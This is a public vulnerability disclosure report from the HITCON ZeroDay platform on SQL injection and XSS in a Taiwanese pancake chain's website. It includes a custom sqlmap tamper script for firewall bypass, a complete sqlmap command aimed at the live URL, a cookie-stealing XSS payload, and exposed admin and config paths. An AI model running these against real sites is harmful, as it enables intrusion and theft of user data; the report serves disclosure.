Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2023-00273
- Vendor: 九州鬆餅
- Title: 九州鬆餅 網站存在 XSS 與 SQL injection
- Introduction: 網站存在 XSS 與 SQL injection
處理狀態
目前狀態
公開
Last Update : 2023/08/13
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2023/06/13 02:18:53 : 新提交 (由 BTtea 更新此狀態)
- 2023/06/15 11:30:18 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/06/20 21:39:32 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/06/20 21:39:32 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/06/20 21:39:32 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/08/13 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2023-00273
- 通報者:blacktea_player (BTtea)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://www.kyushu-pancake.com.tw/wap/blogdetail.php
敘述
使用工具 SQLmap 輔助測試 (以下若使用SQLmap工具進行注入時有中斷問題,請去除 --batch 參數後進行注入,遇到詢問連線異常是否繼續測試的訊息請選擇預設默認選項,通常是 y )
由於該站點的 wschkid cookie 大概會5~10分鐘就更新一次,因此注入的測試參數,--cookie 內的 wschkid 與 PHPSESSID 過期就要跟著換,不然測試不到。
以下測試需附上我所撰寫的防火牆規則繞過腳本,將以下內容存成 chivalrytainan.py 並放到 sqlmap -> tamper 資料夾裡,以供下方測試復現工具執行過程所引用
#!/usr/bin/env python
def dependencies():
pass
def tamper(payload:str, **kwargs):
if payload:
# /var/www/public_html
if 'LOAD_FILE' in payload:
payload=payload.replace('LOAD_FILE','/*!-- -%0ALOAD_FILE-- -%0A*/')
if 'DUMPFILE' in payload:
payload=payload.replace("'-- -",'')
# union exploit
if 'UNION' in payload:
if payload.startswith('105'):
payload=payload.replace('105','-105')
if 'FROM INFORMATION_SCHEMA' in payload:
payload=payload.replace('-- -'," order by '1")
payload=payload.replace('-- '," order by '1")
else:
tmp1=payload.split(',')[-1]
tmp2=payload.split(',')[-2]
payload=payload.replace(tmp1,f"'{tmp2}")
payload=payload.replace('UNION','/*!-- -%0AUNiOn-- -%0A*/')
return payload
-
SQL injection
https://www.kyushu-pancake.com.tw/wap/blogdetail.php?id=105
GET 參數 id 存在 SQL injection
SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )python3 sqlmap.py --random-agent -u "https://www.kyushu-pancake.com.tw/wap/blogdetail.php?id=105" --tamper symboliclogical,kyushu_pancake --prefix "'" --technique BEU --union-cols 21 --skip-waf --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0" --cookie "wschkid=e0cec2032d35cdb38a221ca7327496bd474e9d64.1685731407.1;PHPSESSID=4mgtbsemhbo4esvve7tumln9k1" --dbs --batch運行結果
-
XSS
https://www.kyushu-pancake.com.tw/wap/blogdetail.php?id=105
xss payload'><script>alert(document.cookie)</script>運行結果
-
無意義但不應該被存取的站點目錄可能導致資訊洩漏或其他危害
https://www.kyushu-pancake.com.tw/0.php
https://www.kyushu-pancake.com.tw/1.php
https://www.kyushu-pancake.com.tw/2.php
https://www.kyushu-pancake.com.tw/_notes/dwsync.xml
https://www.kyushu-pancake.com.tw/admin/login.php (後臺可存取,並且雖然有進行MD5加密,但存在弱密碼)
https://www.kyushu-pancake.com.tw/include/config.inc.php
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。